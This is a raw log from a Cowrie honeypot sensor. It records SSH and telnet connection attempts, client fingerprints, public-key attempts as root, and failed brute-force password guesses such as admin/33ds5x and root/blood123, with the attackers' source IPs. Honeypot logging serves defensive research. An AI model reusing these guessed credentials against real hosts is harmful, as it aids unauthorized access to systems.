{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:78:5d:71:c5:59:44:5c:8b:74:25:24:e0:ec:c5:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0Xtt1DRD2E5D05dFHeNqS4uBuCXUhrRR14MBeVtJFUyXeDs4dVtEUsW6SVYNRFjjfyRXZrmAhmJy0mYXMRBI33pWPafVDBAMFATlvPMAkswuTCSIONC8/Z7PPntfRJ9IpJRIln9uhyGRQI9wmc78hZYA7ds2YIxnWyMmKZIjj3fN+/B3OAHEEkyK91shEquWf+YY2kMVCQwjMqp3o4Aiy2tVNPwf4fTLlqkcGNQM1gxMHcKWt7CvYF3W3DAciCWShkyRsRpGsdRQ+QVkDdoQxJb+ChOk8Kk9kqy9HZuzDXLpetHNUHKCKe9Uu010s7JSPboObqaayOsqRpaAYvnLj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.295228Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:33:b9:f2:7c:90:30:5f:3b:a0:b0:45:91:4c:f4:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCql64XA5MuNha0fIWxI0As0GDNoHCRL/mHo6NX87g9qFQeh9fGJuSsWfy8rxAUgUzCvRpHOpO/+L1YDT793I0gjBS7h/aGW/kYtfQvkeygSzF/bOfx+iQTiOWhIfyBzDFpm1cTMc5iK5rffTDkspeOvl+BO9JDYfHyqraPe1oaAajQbYGEUBbRKNOkBzs8HdbwdkJYJmYBaXxNgO3sr6xSxENmzCyqe/mEQq6DZdrLL6iYsNooWhAqbi47/T3zbZKQxsFbkmPJf9AOgIl5h9VRMgm9jqBE/vbjGKs4cH/g6HoJsjOpqkeMT/n6EagpKBwMbBP964+KuYtQgFbT8v5b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:33:b9:f2:7c:90:30:5f:3b:a0:b0:45:91:4c:f4:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.426621Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:33:b9:f2:7c:90:30:5f:3b:a0:b0:45:91:4c:f4:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCql64XA5MuNha0fIWxI0As0GDNoHCRL/mHo6NX87g9qFQeh9fGJuSsWfy8rxAUgUzCvRpHOpO/+L1YDT793I0gjBS7h/aGW/kYtfQvkeygSzF/bOfx+iQTiOWhIfyBzDFpm1cTMc5iK5rffTDkspeOvl+BO9JDYfHyqraPe1oaAajQbYGEUBbRKNOkBzs8HdbwdkJYJmYBaXxNgO3sr6xSxENmzCyqe/mEQq6DZdrLL6iYsNooWhAqbi47/T3zbZKQxsFbkmPJf9AOgIl5h9VRMgm9jqBE/vbjGKs4cH/g6HoJsjOpqkeMT/n6EagpKBwMbBP964+KuYtQgFbT8v5b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.433264Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:fd:b0:20:99:25:3b:e4:97:c6:76:3d:7e:01:b6:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzumKSICOSwCgOSSPAcOiIVObvH0W6ce3+IPyNxmFMCkctg1r0F17w1CN5TJVd/gcX0NIBFGkT1izMrZGC2p2hQQqhnf291ZCf9fjnPE7pKAZ4677TzrKfpQoNAYAWBhygsnSK4XQ2BqXorHQendrJDK8LVmv7/o3a+z17K3YVjAp+sfiad6mszi9/hRU8LaBgsm9REJXqitpsXdnl0zhnxTNzUAn2gOHPcYiqEEPSfGW2yb/dKLHuTPHmeWqofq+3eFH2ePEFyeY/W1ztuaGoxK3WI68cIrPeaInihhtrRZ0TAAhQjh9XGEYZfQ3MZWE9YutCmvEU6rOumcjaF7pWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:fd:b0:20:99:25:3b:e4:97:c6:76:3d:7e:01:b6:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.566217Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:fd:b0:20:99:25:3b:e4:97:c6:76:3d:7e:01:b6:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzumKSICOSwCgOSSPAcOiIVObvH0W6ce3+IPyNxmFMCkctg1r0F17w1CN5TJVd/gcX0NIBFGkT1izMrZGC2p2hQQqhnf291ZCf9fjnPE7pKAZ4677TzrKfpQoNAYAWBhygsnSK4XQ2BqXorHQendrJDK8LVmv7/o3a+z17K3YVjAp+sfiad6mszi9/hRU8LaBgsm9REJXqitpsXdnl0zhnxTNzUAn2gOHPcYiqEEPSfGW2yb/dKLHuTPHmeWqofq+3eFH2ePEFyeY/W1ztuaGoxK3WI68cIrPeaInihhtrRZ0TAAhQjh9XGEYZfQ3MZWE9YutCmvEU6rOumcjaF7pWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.569107Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:07:45:fd:4a:ff:9e:c2:b1:1a:23:f9:08:b1:ac:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtgW/i4Yg+MWftK0+AY7FzrFIx7+bOpVa+ekikK+9lDVe9/YYJfYOC0Txgz6MyQMmtiH8KROmFZ6yhjzAdzwMWjFcNyxaQFvlclinM2oJUO+tMiO/K95WY047cpxXUfWI06L5KzcVjflv8UUQWpHaBnRBrXzqx/MHeDlBDC4jMtLCkQfADLq0fOIxIQFDEc0caFKo4oqrQIL7FBMIU1iQN8bwkDpkwlPN5nS01W8zq8tm2nUXf8gK1xb+OhFlJdGT7g3/r/Umf0UegVz/UZ9Ab2a8jg0w8RhTqb234UKhYPU/COSYRkikExJOwkHChD79if4l0ZTlr71a/co5MdyIH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:07:45:fd:4a:ff:9e:c2:b1:1a:23:f9:08:b1:ac:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.700682Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:07:45:fd:4a:ff:9e:c2:b1:1a:23:f9:08:b1:ac:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtgW/i4Yg+MWftK0+AY7FzrFIx7+bOpVa+ekikK+9lDVe9/YYJfYOC0Txgz6MyQMmtiH8KROmFZ6yhjzAdzwMWjFcNyxaQFvlclinM2oJUO+tMiO/K95WY047cpxXUfWI06L5KzcVjflv8UUQWpHaBnRBrXzqx/MHeDlBDC4jMtLCkQfADLq0fOIxIQFDEc0caFKo4oqrQIL7FBMIU1iQN8bwkDpkwlPN5nS01W8zq8tm2nUXf8gK1xb+OhFlJdGT7g3/r/Umf0UegVz/UZ9Ab2a8jg0w8RhTqb234UKhYPU/COSYRkikExJOwkHChD79if4l0ZTlr71a/co5MdyIH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.703663Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:26.834996Z","src_ip":"89.45.12.136","session":"715abf0de999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53426,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c176bebe1f8","protocol":"ssh","message":"New connection: 80.94.92.184:53426 (10.17.0.5:22) [session: 8c176bebe1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:41.253451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:41.477222Z","src_ip":"80.94.92.184","session":"8c176bebe1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:41.480980Z","src_ip":"80.94.92.184","session":"8c176bebe1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:42.470430Z","src_ip":"80.94.92.184","session":"8c176bebe1f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:43.836528Z","src_ip":"80.94.92.184","session":"8c176bebe1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":39384,"dst_ip":"159.203.135.109","dst_port":22,"session":"feceb96e1d3e","protocol":"ssh","message":"New connection: 2.57.121.112:39384 (159.203.135.109:22) [session: feceb96e1d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:47.347288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:47.353645Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:47.458519Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"33ds5x","message":"login attempt [admin/33ds5x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:47.947734Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"332332","message":"login attempt [admin/332332] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:49.055268Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3313","message":"login attempt [admin/3313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:50.163243Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3133","message":"login attempt [admin/3133] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:51.270554Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"311289","message":"login attempt [admin/311289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:52.378869Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:53.490696Z","src_ip":"2.57.121.112","session":"feceb96e1d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.49801468849182,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:06:55.305798Z","src_ip":"152.42.224.71","session":"80f009e55202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.206.63.243","src_port":48074,"dst_ip":"10.17.0.5","dst_port":23,"session":"680281aa0669","protocol":"telnet","message":"New connection: 223.206.63.243:48074 (10.17.0.5:23) [session: 680281aa0669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:02.312897Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":37798,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbc2cfffe3ac","protocol":"ssh","message":"New connection: 103.115.56.3:37798 (10.17.0.5:22) [session: fbc2cfffe3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:11.429278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:11.443686Z","src_ip":"103.115.56.3","session":"fbc2cfffe3ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:11.659050Z","src_ip":"103.115.56.3","session":"fbc2cfffe3ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123...","message":"login attempt [root/zxc123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:12.512523Z","src_ip":"103.115.56.3","session":"fbc2cfffe3ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1147,"dst_ip":"10.17.0.5","dst_port":22,"session":"9178f608487d","protocol":"ssh","message":"New connection: 102.88.137.213:1147 (10.17.0.5:22) [session: 9178f608487d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:12.726217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:12.732367Z","src_ip":"102.88.137.213","session":"9178f608487d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:12.922110Z","src_ip":"102.88.137.213","session":"9178f608487d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blood123","message":"login attempt [root/blood123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:13.698135Z","src_ip":"102.88.137.213","session":"9178f608487d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:13.728739Z","src_ip":"103.115.56.3","session":"fbc2cfffe3ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:14.887771Z","src_ip":"102.88.137.213","session":"9178f608487d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.838286399841309,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:18.151039Z","src_ip":"223.206.63.243","session":"680281aa0669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.237.188.34","src_port":57316,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a31e0c78338","protocol":"ssh","message":"New connection: 23.237.188.34:57316 (10.17.0.5:22) [session: 6a31e0c78338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:19.643357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:19.647321Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:19.714928Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:9d:ee:fb:c0:a2:d6:2f:86:fe:22:44:a3:84:36:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyOXzjcMMGlFSOgdpnjcO3Y30KJUn+yWFepi8Gl1kMU+3NrPT8doNPtmzxDZSHmT1u0LC0NlSvPIz0ebXEembf7Mcvy2B52OE5T15VJKjZ7D1UFRIaeW/eKtsQrm/OP7/yYNdjo01E9UMdi2FQP8KtmUbgV43GU3qjNbVu16l4Ff3RS9tFSygNUJhN+qanXzV/7BeWzURZ2YJ9uAkn5/t0lUMxfgvF+CqrlPXMWQ1ABM1my4tSfsn7gimCRHseE4khQ6Dl+tRZ+gUf0za6k0vV2+Z55YCrJ3zuMpyFGXffS13P8dG8RK2Ig4IDHIKIXV8HUFMgElbYenvlZBVylOaR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:9d:ee:fb:c0:a2:d6:2f:86:fe:22:44:a3:84:36:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:07:20.014208Z","src_ip":"23.237.188.34","session":"6a31e0c78338","protocol":"ssh"}
